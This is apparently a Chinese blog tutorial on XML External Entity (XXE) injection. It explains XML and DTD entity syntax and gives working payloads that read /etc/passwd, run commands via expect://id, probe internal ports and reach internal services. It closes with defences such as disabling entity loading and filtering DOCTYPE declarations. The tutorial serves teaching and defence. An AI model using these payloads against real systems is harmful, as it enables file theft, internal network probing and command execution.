XXE(外部实体注入漏洞)

什么是XXE

XXE全称XML External Entity Injection,即外部实体注入。owasp网站对其的描述是:XXE是针对应用程序解析XML输入类型的攻击。当包含对外部实体的引用的 XML 输入被弱配置的 XML 解析器处理时,就会发生这种攻击。

不同程序支持协议不同

 

 

 

1.什么是XML

XML是一种用来传输和存储数据的可扩展标记语言。

XML用于传输和数据存储。HTML用于显示数据。

Dtd文档类型定义是一套为了进行程序见的数据交换而建立的关于标记符的语法规则。

1.1 xml语法

语法规则

1.所有的XML元素都必须有一个关闭标签

2.XML标签对大小写敏感

3.XML必须正确嵌套

4.XML属性值必须加引号“”

5.实体引用:在标签属性,或者对应位置值可能出现<>符号,这些在对应的xml中都是特殊含义的,那么必须使用对应html的实体对应的表示:例如,<message>if salary < 1000 then </message>如果把                        这个“<”放在元素中,那么解析器会把他当成新元素的开始,就会发生报错。为了避免这个错误使用实体引用来代替<message>if salary &lt; 1000 then </message>

                    < ,> ," ,' , &等符号不被允许直接出现在XML文档中,因为xml解析器会搞不清这些符号是数据还是标签

1.2 xml结构

XML 文档声明,在文档的第一行

XML 文档类型定义,即DTD,XXE 漏洞所在的地方

XML 文档元素

1.3 DTD

复制代码
元素声明:
<!ELEMENT 元素名称 (#PCDATA)>
例子: ``<!ELEMENT from (#PCDATA)>``

带有任何内容的元素 通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:

<!ELEMENT 元素名称 ANY>

例子:

``<!ELEMENT note ANY>``

带有子元素(序列)的元素 带有一个或多个子元素的元素通过圆括号中的子元素名进行声明:

<!ELEMENT 元素名称 (子元素名称 1)>

或者 <!ELEMENT 元素名称 (子元素名称 1,子元素名称 2,.....)>

例子: ``<!ELEMENT note (to,from,heading,body)>``

 

声明只出现一次的元素

<!ELEMENT 元素名称 (子元素名称)>

例子:

``<!ELEMENT note (message)>``
复制代码

 

内部文档声明:

<!DOCTYPE 根元素 [元素声明]>

 

 

 

复制代码
**内部实体声明**

``<!ENTITY 实体名称 "实体的值">``

DTD 例子:

<!ENTITY writer "Bill Gates">

将writer 声明为”Bill Gates”,copyright 声明为 “Copyright W3School.com.cn”

XML 例子:

``<author>&writer;&copyright;</author>``

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

<!DOCTYPE foo [
    <!ENTITY xxe  "sec test" >
]>
<root>
    <name>&xxe;</name>
</root>
复制代码

 

外部文档声明(引用外部DTD):

<!DOCTYPE 根元素 SYSTEM "文件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

 

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用

 

 

复制代码
**外部实体声明**
外部实体引用支持通过协议,来动态的获取值

``<!ENTITY 实体名称 SYSTEM "URI/URL">``

例子:
DTD 例子:
```
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

```
XML 例子:
``<author>&writer;&copyright;</author>``
可以通过``file://``协议来读取文件内容
```

<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>

<root>
    <name>&xxe;</name>
</root>

```
复制代码
复制代码
参数实体
<!ENTITY % 实体名称 "实体的值">
or
<!ENTITY % 实体名称 SYSTEM "URI">
除了参数实体在定义和引用的时候需要用%,其他实体引用都是用&。总结出来可以知道,在XML中引用实体,都需要(&或%)+(实体名)+(;),这三个条件(或者说元素)缺一不可。

参数实体只能在DTD中申明,DTD中引用,它们使用百分号(%)而不是与字符(&),可以是命名实体或外部实体。,能够解析实体或者uri,进行xml解析,进而获得其中的变量 注:一般用于Bline XXE

```
<!ENTITY % style "2333">
<!ENTITY % test "%style">
```
**公共实体声明**
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
复制代码

 XXE危害

1.DOS攻击

2.SSRF攻击

3.使用file协议读取任意文件

4.端口探测

5.执行系统命令

 读取任意文件

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

执行系统命令

复制代码
在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
复制代码

探测内网端口

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>

攻击内网网站

复制代码
结合其他的漏洞比如:struts2

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>
复制代码

 

 挖掘XXE

  1.  检测XML是否会被解析
  2. 检测服务器是否支持外部实体
  3. 如果支持上面两个,看能否回显。有则直接攻击,无则参考无回显的XXE攻击

防御XXE

1.使用开发语言提供的禁用外部实体的方法

复制代码
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
复制代码

2.过滤和验证用户提交的XML数据

 过滤关键词<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

3.不允许XML中含有任何自己声名的DTD

4.有效措施:配置XML parse 只能使用静态DTD。进制外来引入;对Java来说,直接设置相应的属性值为false即可



 

相关函数

  1. libxml_disable_entity_loader(false):函数意思就是不禁止外部实体加载
  2. file_get_contents():函数,把整个文件读入一个字符串中
  3. LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值(替代实体)
  4. LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件(加载外部子集) 
  5. LoadXML() 方法通过解析一个 XML 标签字符串来组成该文档
  6. simplexml_import_dom() 函数把 DOM 节点转换为 SimpleXMLElement 对象。如果失败,则该函数返回 false。
posted @   地主老财  阅读(1070)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示